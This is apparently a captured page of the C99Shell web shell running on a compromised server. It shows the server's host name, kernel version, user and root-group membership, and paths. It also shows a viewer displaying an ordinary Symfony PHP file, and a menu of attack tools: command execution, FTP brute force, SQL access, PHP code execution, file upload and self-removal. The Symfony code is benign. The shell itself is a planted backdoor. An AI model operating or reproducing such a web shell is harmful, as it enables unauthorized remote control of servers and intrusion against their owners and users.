!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/symfony/http-kernel/Fragment/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HIncludeFragmentRenderer.php (3.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpKernel\Fragment;

use 
Symfony\Component\HttpFoundation\Request;
use 
Symfony\Component\HttpFoundation\Response;
use 
Symfony\Component\HttpFoundation\UriSigner;
use 
Symfony\Component\HttpKernel\Controller\ControllerReference;
use 
Twig\Environment;

/**
 * Implements the Hinclude rendering strategy.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class HIncludeFragmentRenderer extends RoutableFragmentRenderer
{
    private ?
string $globalDefaultTemplate;
    private ?
UriSigner $signer;
    private ?
Environment $twig;
    private 
string $charset;

    
/**
     * @param string|null $globalDefaultTemplate The global default content (it can be a template name or the content)
     */
    
public function __construct(?Environment $twig null, ?UriSigner $signer null, ?string $globalDefaultTemplate nullstring $charset 'utf-8')
    {
        
$this->twig $twig;
        
$this->globalDefaultTemplate $globalDefaultTemplate;
        
$this->signer $signer;
        
$this->charset $charset;
    }

    
/**
     * Checks if a templating engine has been set.
     */
    
public function hasTemplating(): bool
    
{
        return 
null !== $this->twig;
    }

    
/**
     * Additional available options:
     *
     *  * default:    The default content (it can be a template name or the content)
     *  * id:         An optional hx:include tag id attribute
     *  * attributes: An optional array of hx:include tag attributes
     */
    
public function render(string|ControllerReference $uriRequest $request, array $options = []): Response
    
{
        if (
$uri instanceof ControllerReference) {
            
$uri = (new FragmentUriGenerator($this->fragmentPath$this->signer))->generate($uri$request);
        }

        
// We need to replace ampersands in the URI with the encoded form in order to return valid html/xml content.
        
$uri str_replace('&''&amp;'$uri);

        
$template $options['default'] ?? $this->globalDefaultTemplate;
        if (
null !== $this->twig && $template && $this->twig->getLoader()->exists($template)) {
            
$content $this->twig->render($template);
        } else {
            
$content $template;
        }

        
$attributes = isset($options['attributes']) && \is_array($options['attributes']) ? $options['attributes'] : [];
        if (isset(
$options['id']) && $options['id']) {
            
$attributes['id'] = $options['id'];
        }
        
$renderedAttributes '';
        if (
\count($attributes) > 0) {
            
$flags \ENT_QUOTES \ENT_SUBSTITUTE;
            foreach (
$attributes as $attribute => $value) {
                
$renderedAttributes .= sprintf(
                    
' %s="%s"',
                    
htmlspecialchars($attribute$flags$this->charsetfalse),
                    
htmlspecialchars($value$flags$this->charsetfalse)
                );
            }
        }

        return new 
Response(sprintf('<hx:include src="%s"%s>%s</hx:include>'$uri$renderedAttributes$content));
    }

    public function 
getName(): string
    
{
        return 
'hinclude';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--